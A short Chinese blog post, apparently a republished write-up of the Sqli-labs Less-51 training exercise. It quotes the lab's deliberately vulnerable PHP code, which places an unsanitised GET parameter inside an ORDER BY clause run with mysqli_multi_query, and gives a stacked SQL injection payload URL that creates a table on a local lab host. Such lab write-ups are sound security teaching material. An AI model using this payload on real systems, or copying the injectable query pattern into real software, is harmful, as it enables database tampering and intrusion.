Sqli-labs Less-51 order by后的堆叠注入

Posted 2021-03-01 zhengna

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了Sqli-labs Less-51 order by后的堆叠注入相关的知识，希望对你有一定的参考价值。

关键代码

$id=$_GET[\'sort\'];    
$sql="SELECT * FROM users ORDER BY \'$id\'";
mysqli_multi_query($con1, $sql);

我们此处要进行stacked injection，要注释掉\',此处给出payload：

http://127.0.0.1/sql/Less-51/?sort=1\';create table less51 like users--+

创建表less51

以上是关于Sqli-labs Less-51 order by后的堆叠注入的主要内容，如果未能解决你的问题，请参考以下文章